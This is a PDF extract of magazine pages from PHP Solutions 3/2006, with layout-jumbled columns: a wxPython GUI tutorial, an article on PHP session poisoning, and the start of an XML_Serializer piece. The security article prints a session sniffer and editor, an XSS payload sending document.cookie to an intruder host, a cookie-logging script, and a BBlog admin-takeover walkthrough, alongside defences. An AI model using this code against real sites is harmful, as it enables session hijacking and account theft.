62_63_64_65_66_67_68_69_70_71_Python_PL.indd 68

www.phpsolmag.org

PHP Solutions Nr 3/2006

2006-04-05, 12:21:28

Mariaż Pythona i PHP
panel (wx.Panel), na którym będą rozmieszczone kolejne elementy, takie jak np. lista przewijana (wx.ListCtrl), przyciski (wx.Button) czy pole tekstowe (wx.TextCtrl), w którym będziemy wyświetlać dane wybranego rekordu Przejdziemy więc do tworzenia głównego panelu aplikacji. Utworzymy w tym celu klasę MainPanel, która będzie dziedziczyła z wx.Panel. Potem przejdziemy do umieszczania obiektów: przycisków self.buttons['Add'], Edit i Remove, pola tekstowego, na którym będziemy wyświetlali zawartość rekordu (obiekt self.dataScreen klasy TextCtrl) oraz listy przewijalnej, self.bookList klasy bookListCtrl (szczegóły jej działania omówimy później). Czas na ułożenie obiektów w oknie – służą do tego narzędzia zwane sizera-

Projekty

Listing 15. Główna pętla aplikacji wxWidgets
class mainModule(wx.App): def OnInit(self): mainF=wx.Frame(None,-1,'Książka teleadresowa',) mainF.SetSize((640,480)) a=mainPanel(mainF,-1) mainF.Show(True) return True x_pim=mainModule(0) x_pim.MainLoop()

Listing 16. Konstruktor klasy MainPanel – tworzenie i porządkowanie zawartości głównego okna aplikacji
class mainPanel(wx.Panel): def __init__(self,parent,id): wx.Panel.__init__(self,parent,id) self.requiredFieldsAll=['name','surname','phone','mobile','email','www',\ 'gg','aim','icq','notes','address','postal'] ... buttons={} buttons['Add'] =wx.Button(self,-1,"Add") ... self.dataScreen=wx.TextCtrl(self,-1,style=wx.TE_MULTILINE) self.dataScreen.SetEditable(False) self.bookList=bookListCtrl(self,-1) self.sizerBtn=wx.BoxSizer(wx.HORIZONTAL) ... #self.sizer=wx.lib.rcsizer.RowColSizer() self.sizerP=wx.lib.rcsizer.RowColSizer() self.sizerP.Add(self.dataScreen,row=0,col=0,colspan=4,rowspan=3,flag=wx.EXPAND) ... wx.EVT_LIST_ITEM_SELECTED(self,self.bookList.GetId(),self.entryIsSelected) wx.EVT_LIST_ITEM_DESELECTED(self,self.bookList.GetId(),self.entryIsDeselected) wx.EVT_BUTTON(self,buttons['Add'].GetId(),self.addClicked) ... self.populateBookList()

Listing 17. bookListCtrl, obiekt listy przewijanej (booklistctrl.py)
class bookListCtrl(wx.ListCtrl,wx.lib.mixins.listctrl.ColumnSorterMixin): def addToList(self,dataFields,moreData=-2): lastIndex=self.GetItemCount() # indeks dodawanej pozycji self.InsertStringItem(lastIndex,str(lastIndex)) for i in range(0,len(dataFields)): self.SetStringItem(lastIndex,i+1,dataFields[i]) ... def __init__(self,parent,id): wx.ListCtrl.__init__(self,parent,id,style=wx.LC_REPORT|wx.SUNKEN_BORDER) self.InsertColumn(0,'Nr') ... wx.lib.mixins.listctrl.ColumnSorterMixin.__init__(self,6)

mi, które oszczędzają nam podawania pozycji i rozmiarów obiektów w pikselach. Mechanizm podobny do sizerów, tyle że zastosowany w GTK, tzw. boksy (ang. boxes) zostały omówione w artykułach Wake on Lan (numer 2/2005), Nowe możliwości PHP-GTK2 (numer 1/2006) oraz Glade GUI Builder (numer 2/2006). Jednym z najprostszych sizerów jest wx.BoxSizer, który automatycznie rozmieszcza kolejne obiekty poziomo (wx.HORIZONTAL) albo pionowo (wx.VERTICAL). Skorzystamy z niego, aby rozlokować obok siebie przyciski (sizerBtn). Następnie utworzymy sizer, za pomocą którego rozmieścimy wszystkie obiekty w naszym oknie – w tym również inne sizery, takie jak sizerBtn. Tym razem użyjemy narzędzia wx.RowColSizer, które pozwala na rozlokowanie obiektów w komórkach tabeli. Utworzymy obiekt sizerP. Kolumny i wersy tej tabeli możemy łączyć (colspan i rowspan). Przy pomocy metody SetItemMinSize() tej klasy ustalimy z kolei minimalny rozmiar wybranych obiektów, zaś metoda SetSizerAndFit samego panelu pozwoli nam umieścić sizer w oknie. Pora na powiązanie zdarzeń (ang. events) dotyczących utworzonych obiektów z metodami callbackowymi (ang. callback methods), w których zawarta będzie obsługa tych zdarzeń. Powiązania te opisujemy za pomocą specjalnych konstrukcji językowych: w przypadku wyboru oraz anulowania wyboru elementu listy użyjemy wx.EVT_LIST_ITEM_SELECTED oraz wx.EVT_LIST_ITEM_DESELECTED, a dla przycisków zastosujemy wx.EVT_BUTTON. Została jeszcze jedna operacja: wywołanie nieutworzonej jeszcze metody populateBookList(), która będzie służyła do wypełnienia listy danymi. Zanim jednak przejdziemy do tworzenia tych metod, zbudujmy element, bez którego nasz interfejs jest bezużyteczny: listę przewijaną.

Lista przewijana
przewijana to obiekt klasy My odziedziczymy tę klasę tworząc bookListCtrl (Listing 17), aby zorganizować listę po swojemu. Zacznijmy od jej konstruktora. Wstawimy w nim kolumny listy (metoda InsertColumn()), kolejno: numer pozycji, imię, nazwisko, telefon, telefon komórkowy oraz e-mail, a także dodamy narzędzie umożliwiające sortowanie (ColumnSorterMixin), które wymaga powx.ListCtrl.

Lista

PHP Solutions Nr 3/2006

www.phpsolmag.org

69
2006-04-05, 12:21:30

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 69

Projekty

Mariaż Pythona i PHP
dania liczby kolumn, których będzie dotyczył. Niestety, na tym jego wymagania się nie kończą – musimy także zdefiniować metodę GetListCtrl(), która będzie zwracała obiekt klasy wx.ListCtrl (u nas bookListCtrl), a także tablicę (słownik) itemDataMap (wszystkie nazwy muszą się zgadzać), w której będzie przechowywana kopia kompletu danych do tablicy. Utworzymy także metodę clearList(), która będzie kasowała listę korzystając z wbudowanej do wx.ListCtrl metody DeleteAllItems() oraz przypisując pusty słownik do itemDataMap. Ostatnią potrzebną nam metodą będzie addToList() – dodawanie nowej pozycji do listy. Skorzystamy w niej z wbudowanej metody GetItemCount(), aby sprawdzić ilość pozycji i ustalić indeks dodawanej. Dodawanie rekordu będzie się odbywało przy użyciu metod InsertStringItem() oraz SetStringItem(). Następnie użyjemy SetItemData() do wstawienia niewidocznych danych każdej pozycji (w naszym przypadku id w tabeli bazodanowej book), a także zdefiniujemy nowy element itemDataMap. Klasa bookListCtrl jest gotowa – zapiszemy ją w pliku booklistctrl.py.

Listing 18. Metody callbackowe klasy mainPanel oraz metody: populateBookList() i showEntryData()
def showEntryData(self,entryIndex): if(self.entrySelected!=-1)and(self.entrySelectedID!=-1): dataEntry=self.dataModel.getTempEntry(str(self.entrySelectedID)) self.dataScreen.SetValue(str(dataEntry)) string_out="imię : "+dataEntry['name'] +" nazwisko:"+\ dataEntry['surname']+"\n"+\ ... self.dataScreen.SetValue(string_out) def entryIsSelected(self,evt): iSelected=evt.GetIndex() self.entrySelected=iSelected self.entrySelectedID=self.bookList.GetItemData(iSelected) self.showEntryData(iSelected) def entryIsDeselected(self,evt): ... def removeClicked(self,evt): if self.entrySelected!=-1: a=wx.MessageDialog(self, 'Czy skasować wybraną pozycję z bazy danych?',\ 'Usuwanie wpisu',wx.YES_NO|wx.ICON_INFORMATION) a1=a.ShowModal() if(a1==wx.ID_YES): result=self.dataModel.deleteEntryFromDB(self.entrySelectedID) self.populateBookList() ... def addClicked(self,evt): a=editionDialog(self,-1,title="Dodawanie nowej pozycji") a1=a.ShowModal() if(a1==wx.ID_OK): data=a.getAllData() result=self.dataModel.addEntryToDB(data) self.populateBookList() ... def editClicked(self,evt): if self.entrySelectedID!=-1: chosenEntryID=self.entrySelectedID chosenEntry=self.dataModel.getTempEntry(chosenEntryID) a=editionDialog(self,-1,title="Dodawanie nowej pozycji") a.setAllData(chosenEntry) ... def populateBookList(self): self.bookList.clearList() gottenData=self.dataModel.getAllTempData() for i in gottenData: # i=id dataValues=[]

Metody callbackowe
Przejdźmy teraz do tworzenia metod callbackowych klasy mainPanel (Listing 18). Każda z nich ma argument evt – za jego pomocą przekazywane są informacje o zdarzeniu. Pierwszą z naszych metod callbackowych jest entryIsSelected(), wywoływana przy wybraniu pozycji na liście, którą odczytujemy korzystając z GetIndex(). Za pomocą entryIsSelected() ustalamy wybrany element (self.entrySelected i self.entrySelectedID) oraz wyświetlamy go w polu tekstowym (showEntryData()). Z kolei metoda entryIsDeselected(), wywoływana w przypadku anulowania wyboru pozycji (np. poprzez kliknięcie na pustą część listy) będzie nadawała zmiennym self.entrySelected oraz self.entrySelectedID wartość -1. Następnymi metodami callbackowymi są te reagujące na kliknięcie: removeClicked(), addClicked() i updateClicked(). W ich przypadku ukazuje się okienko dialogowe, w którym użytkownik może odpowiednio: zadecydować, czy chce skasować pozycję (removeClicked()), wpisać dane nowego rekordu (addClicked()) lub wyedytować wartości istniejącego

... Listing 19. Dialog pozwalający na edycję danych wybranego rekordu
class editionDialog(wx.Dialog): def setAllData(self,data): ... def getAllData(self)): ... def __init__(self,parent,id,pos=wx.DefaultPosition,size=((300,200)),title=''): wx.Dialog.__init__(self,parent,id,title,pos,size) # inicjalizacja dialogu self.sizer=wx.lib.rcsizer.RowColSizer() ... labels['name'] =wx.StaticText(self,-1,'Name') ... self.buttonOK=wx.Button(self,wx.ID_OK,'Accept') ...

70
62_63_64_65_66_67_68_69_70_71_Python_PL.indd 70

www.phpsolmag.org

PHP Solutions Nr 3/2006

2006-04-05, 12:21:32

Mariaż Pythona i PHP

Projekty

nych oraz na ich umieszczanie. Nazwiemy je getAllData() i setAllData() – będą one korzystały z metod getValue() i setValue() każdego pola (w pętli for). Gotowy dialog zapiszemy w pliku editiondialog.py. Tym samym zakończyliśmy tworzenie naszego interfejsu graficznego – możemy go uruchomić.

Podsumowanie
Jak widać, zaprzęgnięcie PHP i Pythona w celu wykonywania wspólnego zadania jest proste i daje zadziwiające rezultaty: stronę serwerową obsługuje potężny, a zarazem prosty skrypt PHP, natomiast Python świetnie sprawdza się przy tworzeniu interfejsu graficznego. Istnieje idealny podział pracy pomiędzy model danych, a ich prezentację. Takiego połączenia można dokonać również między PHP a dowolnym innym językiem, np. Javą, do czego Was zresztą serdecznie zachęcamy. Dzięki protokołom takim, jak SOAP czy XML-RPC świat PHP stoi otworem dla innych rozwiązań.

Rysunek 2. Gotowy interfejs użytkownika (editClicked). W pierwszym przypadku okienkiem dialogowym jest obiekt klasy wx.MessageDialog wyświetlający komunikat: w dwóch pozostałych korzystamy z instancji własnej klasy editionDialog, którą omówimy później. W każdej spośród tych metod dialog jest wywoływany modalnie (ShowModal()), co oznacza, że dopóki jest na ekranie, możliwość korzystania z pozostałych elementów naszej aplikacji jest zablokowana. Każdy dialog ma przyciski (w przypadku kasowania są to TAK i NIE, w pozostałych – OK i Anuluj). Zwróćmy uwagę na sposób reagowania na ich kliknięcie: po zamknięciu dialogu sprawdzamy zwróconą wartość. Metody removeClicked, addClicked i editClicked() korzystają z modelu danych: pierwsza z nich kasuje pozycję tabeli bazodanowej book przy użyciu dataModel.deleteEntryFromDB(). W drugiej uzywamy metody addEntry() tej samej klasy, a w trzeciej – updateEntry(). Każda z tych metod odświeża następnie zawartość tabeli bazodanowej (populateBookList()).

Przyjrzyjmy się teraz populateNa początku, metoda ta czyści listę (self.bookList.clearList()) i pobiera wszystkie dane przechowywane w lokalnym modelu danych, które następnie dodaje do listy. Główna częśc interfejsu naszej aplikacji jest już gotowa, zapiszmy ją więc w pliku gui_main.py.
BookList().

Dialog dodawania i edycji rekordów
Ostatnim elementem naszego interfejsu graficznego jest dialog pozwalający nam wpisywać dane wybranej pozycji książki teleadresowej. Ma on postać klasy editionDialog, która dziedziczy z wx.Dialog (Listing 19). W konstruktorze tej klasy definiujemy i ustawiamy (za pomocą sizerów) etykiety (wx.StaticText) i pola danych (wx.TextCtrl) oraz przyciski OK i Anuluj. Potrzebujemy jeszcze metod pozwalających na pobieranie wpisanych danych z pól edycyj-

O autorze
Krzysztof Sobolewski od wielu lat zajmuje się programowaniem, głównie w PHP i Pythonie. Do jego ulubionych dziedzin należą: bazy danych, interfejsy graficzne i algorytmy rekurencyjne. Poza tym redaguje magazyn PHP Solutions, bierze udział w tworzeniu polskiej Wikipedii i pisze eseje na różne tematy. Kontakt z autorem: [email protected]

R

E

K

L

A

M

A

PHP Solutions Nr 3/2006

www.phpsolmag.org

71
2006-04-05, 12:21:34

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 71

Bezpieczeństwo

Techniki zatruwania sesji w PHP
Jakub Mrugalski

Stopień trudności: lll

Słyszałeś o przechwytywaniu i modyfikowaniu zmiennych POST, GET i COOKIES i myślisz, że wystarczy zamiast nich korzystać z sesji, aby odgrodzić się murem od niebezpieczeństw. Rzeczywistość jest jednak znacznie gorsza: to co wydaje się być ścianą warowni, jest zaledwie ukrywającym zagrożenia przed użytkownikiem parawanem, który bardzo łatwo naruszyć.

O
W SIECI
1. http://www.phpsec.org – PHP Security Consortium 2. http://www.hardenedphp.net/ – PHP Security Project 3. http://www.sitepoint.com/ article/php-security-blunders – Top 7 security blunders 4. http://www.acros.si/papers/ session_fixation.pdf – session fixation

d kiedy zetknąłem się z językiem PHP (a było to wiele lat temu), nieustannie zwracano mi uwagę, że zwykle każda zmienna globalna może bez większych problemów być modyfikowana przez użytkownika. Dlatego początkujący oraz średniozaawansowani programiści stosują prostą regułę, która zabrania przesyłania zmiennych odpowiedzialnych np. za rozpoznawanie zalogowania użytkownika przy pomocy metod POST i GET. W przypadku GET, poufne informacje widoczne są w pasku adresu, natomiast przy stosowaniu trochę bezpieczniejszej POST, zobaczymy je np. w kodzie przesyłanego formularza – agresor może więc taki formularz spreparować. Lepsze kursy PHP polecają, aby dane dotyczące logowania przetrzymywać w ciasteczkach (ang. cookies). Jednak należy pamiętać, że nie bronimy naszych skryptów przed szarymi użytkownikami, lecz przed wprawnymi włamy-

waczami, dla których modyfikacja ciasteczek nie stanowi najmniejszego problemu.

Niebezpieczeństwa płynące z sesji

Każdy zaawansowany programista PHP wie, że gdy włączymy Register Globals, zmienne sesyjne (SESSION) mają większy priorytet niż zmienne typu POST, GET, czy COOKIES. W praktyce oznacza to, że jeśli w skrypcie zadeklarujemy zmienną sesyjną o nazwie $variable,

Co należy wiedzieć... Co obiecujemy...

Potrzebna będzie znajomość podstaw PHP. Nauczysz się wykradania sesji PHP poprzez luki XSS, ich bezpośredniego modyfikowania na serwerze, ich sniffowania przy restrykcjach serwera oraz zabezpieczania się przed ich wykradaniem i zatruwaniem.

72

www.phpsolmag.org

PHP Solutions Nr 3/2006

zatruwanie sesji w PHP

Bezpieczeństwo

a następnie prześlemy do skryptu zmienną o takiej samej nazwie przy użyciu metody POST lub GET, skrypt będzie używał wartości zapisanej w zmiennej sesyjnej. Zmienne sesyjne zapewniają nam tak naprawdę znikomy stopień bezpieczeństwa, gdy nasz skrypt używający sesji znajdzie się na publicznie dostępnym serwerze. Nie tylko, że możemy je modyfikować, kasowac i nadpisywać; możemy również przechwycić sesję innego użytkownika i w efekcie być zalogowanym (np. na forum lub blogu) jako on.

ustalamy długości zmiennej i używamy typu integer (litera i), tak jak w przypadku zmiennej $zalogowany (zalogowany|i:1;), która ma wartość 1.

Modyfikacja sesji poprzez pliki

Fizyczna lokalizacja zmiennych sesyjnych

Naszym celem będzie nielegalna modyfikacja pliku sesji w katalogu /tmp/ na dysku serwera. Zadanie to jest znacznie ułatwione tym, że pliki sesji tworzone są przez serwer Apache, a więc ich właścicielem jest zazwyczaj użytkownik nobody. Z tego właśnie powodu mamy prawo odczytu i zapisu plików sesji z poziomu dowolnego skryptu PHP, którego może używać również włamywacz. Listing 1. Sniffer zmiennych sesyjnych

Jak się przed tym obronić? Należy włączyć opcję PHP-ową Safe Mode, co ma miejsce na znacznej większości serwerów hostingowych. Uniemożliwi to przeglądanie plików innych użytkowników, również tych znajdujących się w katalogu /tmp. Użycie funkcji readdir() w tym trybie również nie będzie wykonalne.

Zatruwanie sesji metodą unknowa & adama_i

Prawie pół roku temu na bugtraq serwisu securityfocus.com pojawił się raport o błędzie, na który podatne są wszystkie dotychczasowe wersje PHP. Raport ten znajduje się pod adresem http://

W przypadku zmiennych POST, GET i COOKIES, nie mamy najmniejszych wątpliwości co do ich fizycznej lokalizacji. Zarówno zmienne z tablic $_POST jak i $_GET są jednokrotnie przesyłane do skryptu i nie są nigdzie na stałe zapamiętywane. Zmienne z tabeli $_COOKIE są przetrzymywane na dysku użytkownika w postaci plików ciasteczek zgromadzonych w odpowiednim dla danej przeglądarki miejscu. Natomiast zmienne sesyjne nie są ani przesyłane jednokrotnie, bo przeczyłoby to ich przeznaczeniu. Nie są też przechowywane po stronie użytkownika, gdyż narażałoby je to na modyfikacje, lecz w postaci plików na serwerze (który musi mieć do nich dostęp przez cały czas istnienia sesji). W systemach uniksowych są to pliki o nazwach sess_$ID ulokowane w katalogu /tmp, gdzie $ID oznacza przypisany do danego użytkownika numer sesji. Struktura takiego pliku wygląda następująco:
nazwa zmiennej|typ:[długość:]wartość;

<?php if ($sess_number) {setcookie('PHPSESSID',$sess_number); $_COOKIE['PHPSESSID']=$sess_number;} session_start(); ?> <h1>SniffEdSess</h1> sniffer&edytor zmienych sesyjnych<br><br> <form method=post> <table cellpadding=5 cellspacing=0 border=1> <tr bgcolor="silver"> <th>numer sesji:</th> </tr> <tr> <td><input type="text" name="sess_number"></td> </tr> <tr bgcolor="silver"> <td><input type="submit" value="ok"></td> </tr> </table> </form><br> <table cellpadding=5 cellspacing=0 border=1> <tr bgcolor="silver"><th>Przechwycone dane</th></tr> <tr><td><?var_export($_SESSION);?></td></tr> </table><br> <form method=post> <table cellpadding=5 cellspacing=0 border=1> <tr bgcolor="silver"><th>Zmienna:</th></tr> <tr><td><input type="text" name="variable"></td></tr> <tr bgcolor="silver"><th>Wartosc:</th></tr> <tr><td><input type="text" name="var_value"></td></tr> <tr bgcolor="silver"><td><input type="submit" value="Zmień"></td></tr> </table> </form> <? if (isset($variable)){ echo('<br><font color="green">Ustawiono $variable na wartość '.$var_value.'</font><br><br>'); $_SESSION["$variable"]=$var_value; } echo('<br>Copyright &copy by Unknow - [email protected]'); ?>

A oto przykładowy plik sesji:
zalogowany|i:1;login|s:6: "unknow";haslo|s:5:"tajne"

Zapis login|s:6:"unknow" oznacza, że w sesji zdefiniowana jest zmienna $login typu tekstowego (s = string) o długości sześciu znaków oraz wartości unknow. Poszczególne zmienne w pliku sesji oddzielone są od siebie znakiem średnika. Dla danych liczbowych nie

PHP Solutions Nr 3/2006

www.phpsolmag.org

73

Bezpieczeństwo

zatruwanie sesji w PHP
Następnie utworzymy formularz umożliwiający użytkownikowi wpisanie wspomnianego już przechwyconego numeru sesji, który zostanie przesłany metodą POST. Potem w tabeli wyświetlimy zawartość tablicy $_SESSION, czyli przechwycone zmienne sesyjne i utworzymy kolejny formularz, pozwalający na wpisanie nowej wartości zmiennej $variable (w polu var_value). Na koniec będziemy sprawdzać, czy zmienna $variable istnieje: jeżeli tak, to przypiszemy jej nową wartość, wysłaną przez użytkownika w formularzu i pobraną z pola var_value ($var_value). Jak widzimy, sniffer nie operuje na plikach. Odczytuje on jedynie zawartość tablicy zmiennych sesyjnych, co znaczy, że będzie on działał także przy włączonej opcji Safe Mode. Należy jednak pamiętać, że sniffer działa jedynie w obrębie serwera, na którym został uruchomiony i tylko pod warunkiem, że wszystkie sesje zapisywane są w tym samym katalogu. Sprawia to, że użytkownicy serwerów dedykowanych oraz wszelkich kont niepublicznych mogą się czuć bezpiecznie. W przypadku serwerów wirtualnych, każde konto ma przeważnie swój własny katalog /tmp, w którym przechowywane są sesje, natomiast na serwerach niepublicznych nie można umieścić kodu sniffera.

www.securityfocus.com/archive/1/410895/ 30/0/threaded. Na czym polega wymienione zagrożenie? W chwili, gdy użytkownik uruchamia dowolny skrypt PHP wykorzystujący system sesji, zostaje mu przypisane SessionID – unikalny numer identyfikujący tę sesję. Co się stanie, jeśli uruchomimy dwa różne skrypty używające systemu sesji? Zostanie nam przydzielony unikalny numer sesji, lecz... okazuje się, że będzie on w obu przypadkach taki sam! Błąd ten występuje nawet wtedy, gdy uruchomimy dwa skrypty z sesjami na różnych kontach użytkowników. Oznacza to, że przykładowy skrypt pod adresem: http://www.jakisadres.pl/~konto/skrypt.php wygeneruje nam ten sam numer sesji, co aplikacja znajdująca się pod: http://www.jakisadres.pl/~innekonto/ skrypt.php. Jest to niezwykle istotna luka w bezpieczeństwie stanowiąca furtkę dla agresora, gdyż wszystkie zmienne tworzone przez pierwszy skrypt mogą być nadpisywane przez drugi – wystarczy, że pokrywają się ich nazwy.

Komu zagraża sniffer sesji?

Jak już wspomniałem, podatne są jedynie serwery, na których istnieje możliwość swobodnego założenia konta, a dane tymczasowe (katalog /tmp) są współdzielone. Oznacza to, że choć serwery największych firm

Jak zdobyć numer sesji użytkownika?

Istnieje wiele metod zdobycia numeru sesji. Przedstawimy te najpopularniejsze, pomijając wszelkiego rodzaju socjotechnikę (czyli manipulowanie zachowaniem użytkowników). Najprostszym sposobem przechwycenia potrzebnych agresorowi danych jest użycie błędów typu XSS (zostały one opisane w poprzednim numerze PHP Solutions, w artykule Niebezpieczeństwa ataków XSS i CSRF). Przyjmujemy, że większość czytelników wie, na czym polegają tego typu błędy. Załóżmy, że mamy księgę gości, w którą możemy wpisać dowolny kod HTML. Wpiszmy zatem do niej następujący kod, którego zadaniem będzie pobieranie ciasteczek:
<script language="JavaScript"> self.location.href=" http://www.intruder.pl/loguj.php?id= "+escape(document.cookie); </script>

Sniffing sesji, czyli namierzanie zmiennych sesyjnych

Sniffing to obserwowanie ruchu w sieci komputerowej w celu przejęcia przesyłanych danych, w szczególności loginów i haseł. Natomiast sniffing sesji odnosi się do przechwytywania i ewentualnego modyfikowania zmiennych sesyjnych. Na Listingu 1 przedstawiamy kod prostego sniffera sesji, który będzie wykonywał obie te czynności. Jego działanie jest następujące: sprawdzamy, czy użytkownik wpisał przechwycony przez siebie numer sesji. Jeżeli tak, to tworzymy ciasteczko PHPSESSID, do którego go przypiszemy. Następnie, niezależnie od wyniku tej operacji, uruchamiamy nową sesję na serwerze (session_start). Jak wiemy, jeśli przed wywołaniem tej instrukcji istniała jakaś sesja, to nowo zakładanej sesji zostanie przypisany jej numer. Jeśli więc dwa skrypty wywołały tworzenie sesji na jednym serwerze, to oba będą używały tego samego identyfikatora sesji, w konsekwencji operując na wspólnym pliku i udostępniając sobie nawzajem zmienne.

Następnie pod adresem podanym w skrypcie musimy umieścić plik loguj.php o następującej zawartości:
<?php if (isset($id)){ $plik=fopen('dane.txt','a'); fputs($plik,"$id\n"); fclose($plik); } echo('Error 404 – nie ma takiej strony'); ?>

Gdy już wszystko przygotujemy, każda osoba wchodząca na księgę gości z umieszczonym przez agresora kodem będzie automatycznie przekierowywana na stronę z fałszywym błędem 404, a jej ciasteczka zostaną zapisane w pliku. Agresor musi jedynie odczytać ten plik w chwili, gdy ofiara jest jeszcze zalogowana, lub gdy sesja jeszcze nie wygasła. Gdy zdobędzie on numer sesji w takim właśnie momencie, wystarczy, że w drugim oknie uruchomi sniffera sesji prezentowanego na początku artykułu i zmieni numer swojej sesji na właśnie zdobyty. Naturalnie, prezentowany sposób wstrzykiwania kodu JavaScript w kod strony jest tylko przykładem. Równie dobrze możemy go wstawić jako parametr w adresie strony, o ile parametr ten jest później wyświetlany na stronie bez filtrowania tagów. Niezwykłą ciekawostką jest fakt, że w chwili, gdy zaczniemy zatruwać przypisaną nam sesję z numerem ofiary, wszystkie odczuwalne przez nas zmiany będą również odczuwalne dla ofiary. Oznacza to, że jeśli agresor przypisze sobie numer sesji zdobyty poprzez skrypt logujący, a następnie zmieni sobie poziom użytkownika np. na administratora, to użytkownik, którego numer sesji został skradziony, również natychmiastowo otrzyma prawa administratora, ponieważ obie osoby korzystają z tego samego pliku przetrzymującego dane sesji.

74

www.phpsolmag.org

PHP Solutions Nr 3/2006

zatruwanie sesji w PHP
hostingowych wydają się bezpieczne, to jednak testy, które przeprowadziłem na tanich dostawcach usług hostingowych potwierdzają, że ich znaczna część jest podatna na tego typu ataki. Ponadto moi znajomi przeprowadzili szereg testów na krakowskich serwerach uczelnianych, które oferują swoim studentom miejsce na strony domowe. Dokładnie 100% przeprowadzonych testów zakończyło się w tym przypadku sukcesem, czyli każdy z badanych systemów okazał się podatny na atak. Jeśli więc jesteś posiadaczem konta studenckiego na serwerze hostingowym swojej uczelni, lub kupiłeś płatne konto za przysłowiowe 3 zł miesięcznie, to możesz być pewien, że twoje dane nie są w pełni bezpieczne. bloga korzystając ze znanych nam danych (podanych podczas instalacji), a jednocześnie odświeżamy zawartość okna ze snifferem. W oknie sniffera powinniśmy zobaczyć następujące dane:
Przechwycone dane: array ( 'user_id' => '1', )

Bezpieczeństwo

Jak widzimy, jedyną zmienną zmodyfikowaną podczas logowania jest $user_id. Została jej przypisana wartość 1, co w tym przypadku oznacza administratora (pamiętajmy, choć że podstawowa wersja BBloga jest przeznaczona dla jednego użytkownika, to z wersji rozszerzonej może korzystać więcej użytkowników).

Rysunek 1. Działanie sniffera sesji W pełni skuteczną metodą jest jednak wyłącznie zmiana folderu przechowywania sesji. Zrobimy to dopisując na początku swojego skryptu następującą linijkę:
session_save_path('sesje/');

Przykład użycia sniffera sesji

Tym razem posłużymy się istniejącym i niezwykle popularnym skryptem, jakim jest BBlog. Jest to system przeznaczony do prowadzenia internetowego pamiętnika (bloga). Jest stosunkowo prosty w budowie i zarazem bardzo bezpieczny (od dawna nie stwierdzono w nim podatności na SQL Injection i ataki innego typu). Mimo to, cały jego system uwierzytelniania użytkownika opiera się na zaledwie jednej zmiennej sesyjnej. Jak widać, autorzy tego oprogramowania zaufali powszechnej opinii, jakoby modyfikacja zmiennych sesyjnych była niemożliwa. W tym przypadku nie będziemy zatruwali sesji innych użytkowników w celu przejęcia ich kont, lecz zatrujemy swoją własną sesję, aby stać się pełnoprawnym użytkownikiem bloga. Nasz eksperyment zaczynamy od instalacji BBLoga na swoim koncie, np. pod adresem: http://www.naszhost.pl/~naszekonto/ pamietnik/ Jednocześnie pod adresem: http://www.naszhost.pl/~naszekonto/ sniffer.php Umieszczamy kod z Listingu 1. Teraz wchodzimy do panelu administracyjnego założonego przez nas bloga: http://www.naszhost.pl/~naszekonto/ pamietnik/bblog/ W drugim oknie przeglądarki otwieramy sniffer sesji. Na razie okno przechwyconych zmiennych będzie puste. Logujemy się do

Do ataku!

Wiemy już, jaką zmienną musi edytować agresor, aby zalogować się do panelu administracyjnego. Kolejnym etapem ataku jest założenie konta na tym samym serwisie hostingowym, na którym znajduje się blog, na którym chcemy uzyskać większe przywileje. Jeśli więc wybierzemy skrypt: http://www.dowolnyadres.pl/~konto/ To adresem konta osoby testującej omawiany błąd będzie np.: http://www.dowolnyadres.pl/~tester/ Teraz zamieścimy skrypt sniffer.php na swoim koncie (np. za pomocą FTP) i wejdziemy do panelu administracyjnego bloga, otwierając jednocześnie sniffera w drugim oknie. Gdy naszym oczom ukaże się formularz pytający o login i hasło do bloga, przełączymy się do naszego skryptu i wpiszemy do niego dane według schematu:
zmienna: user_id wartość: 1

Pamiętajmy, aby podkatalog sesje/ istniał i miał ustawione pełne prawa dostępu (chmod 777). Metoda ta stanowi w pełni wystarczające zabezpieczenie zarówno przed ręczną modyfikacją pliku z sesjami (agresor nie będzie wiedział, gdzie przechowywane są sesje), jak i przed drugą z opisywanych metod.

Podsumowanie

Następnie zatwierdzamy zmiany i czekamy na komunikat o nadpisaniu zmiennych. Potem powracamy do panelu logowania i odświeżamy stronę (klawiszem [F5] lub [CTRL]+[R]). Tym razem okno z loginem i hasłem nie powinno się pojawić – zamiast tego, powinniśmy się znaleźć w panelu administracyjnym. Tak oto zalogowaliśmy się bez użycia hasła modyfikując jedynie (teoretycznie niemodyfikowalną) zmienną sesyjną.

Na podstawie przedstawionych przez nas technik przechwytywania i modyfikacji zmiennych sesyjnych widać, że nie można w pełni ufać rzekomo oferowanemu przez sesje bezpieczeństwu. Zamiast tego, należy dołożyć wszelkich starań w celu uniemożliwienia wystąpienia tych oraz wielu innych błędów (np. XSS czy HTML Injection). Obrona przed obiema metodami przechwytywania sesji zajmuje jedną linijkę kodu zmieniającą położenie folderu sesji: pokazuje to, jak niewiele trzeba, aby być bezpiecznym. n

O autorze:
Jakub Mrugalski pracuje jako programista i administrator w jednej z krakowskich agencji reklamowych, a zarazem jest studentem zaocznym informatyki. W wolnym czasie zajmuje się prowadzeniem serwisu internetowego uw-team.org oraz prowadzeniem własnych projektów programistycznych. Kontakt z autorem: [email protected]

Jak się zabezpieczyć?

Istnieje kilka metod takiego pisania skryptów, aby nie były one podatne na ten błąd.

PHP Solutions Nr 3/2006

www.phpsolmag.org

75

PEAR

Generowanie kodu XML z pakietem XML_Serializer
Aaron Wormus

Stopień trudności: lll

Przedstawiamy kolejny bardzo przydatny pakiet PEAR'owy, tym razem związany z XML. W artykule pokażemy zastosowanie XML-owego niezbędnika PHP, czyli pakietu XML_Serializer, pozwalającego szybko i w łatwy sposób generować dokumenty XML.

O
W SIECI
1. http://pear.php.net/package/ XML_Serializer – strona główna pakietu XML_Serializer 2. http://xulplanet.com – XULPlanet, ciekawa witryna o języku XUL 3. http://imdb.com – IMDB, czyli Internet Movie Data Base

d czasu stworzenia standardu XML pod koniec lat 90., powszechne podejście do tego języka uległo poważnym zmianom. Specyfikację XML pierwotnie opracowała grupa robocza W3C złożona z przedstawicieli wielu znanych korporacji informatycznych, więc w marketingowej gorączce związanej w utworzeniem nowego, rozszerzalnego języka znaczników obsługa XML-a była dodawana do wielu programów tylko po to, by dołożyć najnowszy chwytliwy skrót do opisu produktu. Z biegiem lat gorączka ostygła i zaczęto używać XML-a do celów, do których został stworzony. Obecnie można powiedzieć, że XML zadomowił się na dobre w informatyce, a w dodatku znajduje zastosowanie w miejscach, o których się autorom pierwotnej specyfikacji nawet nie śniło. Formaty XML-owe spotykamy na każdym kroku, od protokołów Web Services poprzez eksport danych z aplikacji po standard Internet Content Syndi-

